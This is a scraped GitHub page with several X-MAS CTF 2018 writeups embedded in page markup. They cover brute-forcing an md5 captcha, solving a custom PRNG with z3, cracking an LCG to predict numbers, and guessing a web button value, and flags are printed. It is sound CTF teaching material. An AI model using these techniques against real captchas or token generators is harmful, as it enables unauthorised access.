d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# A Weird List of Sequences (Misc) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](1.png "Chall") Connecting to the netcat server we get a prompt saying we need to supply a captcha code. ![alt text](2.png "Chall") Using pwntools and a simple md5 bruteforce script we quickly crack the captcha. Script available here: [brute.py](brute.py) After cracking the captcha, we can start the challenge. ![alt text](3.png "Chall") Okay we have to predict the number sequence 25 times. Doing it by hand is quite hard. Let's use `oeis.org`. ![alt text](4.png "Chall") Again manually typing all these numbers in to the website is boring. Also there might be a timeout (untested). Automating the process with python is easier and more fun. Let's do that. ### Creating a automatic tool to solve the task Our goal is to:* Bruteforce the captcha* Parse the given number sequence.* Send the number sequence to oeis.org.* Fetch the next predicted number from the response of oeis.org.* Send the number to the server.* Loop 25 times.* Get the flag With this python script I used the following libraries:* Pwntools - Connect to challenge server over tcp.* requests - To send GET request to oeis.org* pyquery - Parsing the response of oeis.org to get the next predicted number* hashlib - md5 encode function Full script available here: [solve.py](solve.py) Running the script, we get the flag after 25 solved sequences! Cool ![alt text](5.png "Chall")
# __X-MAS CTF 2018__ ## _Probably Really Nice Goodies from Santa_ ## Information**Category:** | **Points:** | **Writeup Author** | **Solution author**--- | --- | --- | ---Crypto | 460 | MiKHalyCH | a1exdandy **Description:** > Everybody knows that Santa loves sharing! Of course, you should Probably be Really Nice with your friends to get any Goodies from him.>>[goodies.zip](src/goodies.zip)>>Author: Gabies ## Solution This [task](src/task.py) is about some [Pseudorandom number generator](https://en.wikipedia.org/wiki/Pseudorandom_number_generator). Firstly let's rewrite `PRNG` class from task to make it z3-compatible. We know that flag starts with `X-MAS{` and ends with `}`. The length of flag is equal to length of ciphertext. This fact helps us to start solving our z3 model. Let's start to brute the first unknown symbol of flag:```pyfor c in string.printable.replace('?', ''): flag[pos] = ord(c) print(flag.decode()) iv = BitVec('iv', 32) key = BitVec('key', 32) mask = BitVec('mask', 32) p = PRNG_z3(iv, key, mask) s = Solver() for a, b in zip(encflag, flag): byte = p.next_byte() if b != ord('?'): s.add(simplify(byte ^ b == a)) res = s.check() if res == sat: break``` It was noticed that one of charaters takes much more time to solve then others. This was the main idea of exploit! Now we can set timeout for solver and check the time of work. If it is realy big, we can say that this is right character. This is the full [solution](solver.py)!
# Let's Crack the Greater lapland monolith (Web/Crypto) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](1.png "Chall") The challenge is basically predicting the next number by only knowing the previous number. ![alt text](2.png "Chall") The challenge author told us in discord that it's not time based. When I stared at the title I noticed L.C.G. ![alt text](3.png "Chall") `A linear congruential generator (LCG) is an algorithm that yields a sequence of pseudo–randomized numbers` - Wikipedia Cool this must be it!!! I found this awesome page describing everything about LCG and how you can easily break it from a few numbers in a sequence. https://tailcall.net/blog/cracking-randomness-lcgs/ Solve script available here [solve.py](solve.py) And we get the flag:`X-MAS{LCG_0n_7h3_LapL4nd_m0n0LiTh_1s_n0t_7ha7_s3cur3}` There was a unintended solution for this challenge. So the challenge author fixed that unintended solution and made another challenge called "Let's Crack the Greater lapland monolith". The challenge was the same and I just changed the port in the above script and got another flag. `X-MAS{Bru73_F0rc3_1s_gr34t_bu7_LCG_1s_b3tt3r___}`
# Gnome's BU77ons (Web) Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand. Also I might be wrong on some things. Enjoy :) (P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy)) ![alt text](1.png "Chall") The website was simple. Only a button that seemed to do nothing. ![alt text](2.png "Chall") Nothing interesting in the html. ![alt text](3.png "Chall") After trying a lot of stupid things. I tried to just type "flag" as the value of the button and submitted it. ![alt text](4.png "Chall") And finally got the flag. ![alt text](5.png "Chall") Did not like this challenge. Was just a guessing game..
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>XmasCtf2018Writeups/Dilemma at master · serega6531/XmasCtf2018Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="D7D5:F4A8:5703CB1:5969608:6412255B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c686185e155946b3cfdeaa1bdcc9d2c44d2a22169ad95dece98a4959e1119826" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEN0Q1OkY0QTg6NTcwM0NCMTo1OTY5NjA4OjY0MTIyNTVCIiwidmlzaXRvcl9pZCI6Ijg4ODAwNTM2MDAwOTQ2NTk5MzEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="91ebc30e6feb6137c735594abaf0e12ef9b66414f4d41eaa5ca98ba82f153984" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162837579" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="XmasCtf2018Writeups/Dilemma at master · serega6531/XmasCtf2018Writeups" /><meta name="twitter:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta property="og:image:alt" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="XmasCtf2018Writeups/Dilemma at master · serega6531/XmasCtf2018Writeups" /><meta property="og:url" content="https://github.com/serega6531/XmasCtf2018Writeups" /><meta property="og:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/serega6531/XmasCtf2018Writeups git https://github.com/serega6531/XmasCtf2018Writeups.git"> <meta name="octolytics-dimension-user_id" content="4551398" /><meta name="octolytics-dimension-user_login" content="serega6531" /><meta name="octolytics-dimension-repository_id" content="162837579" /><meta name="octolytics-dimension-repository_nwo" content="serega6531/XmasCtf2018Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162837579" /><meta name="octolytics-dimension-repository_network_root_nwo" content="serega6531/XmasCtf2018Writeups" /> <link rel="canonical" href="https://github.com/serega6531/XmasCtf2018Writeups/tree/master/Dilemma" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 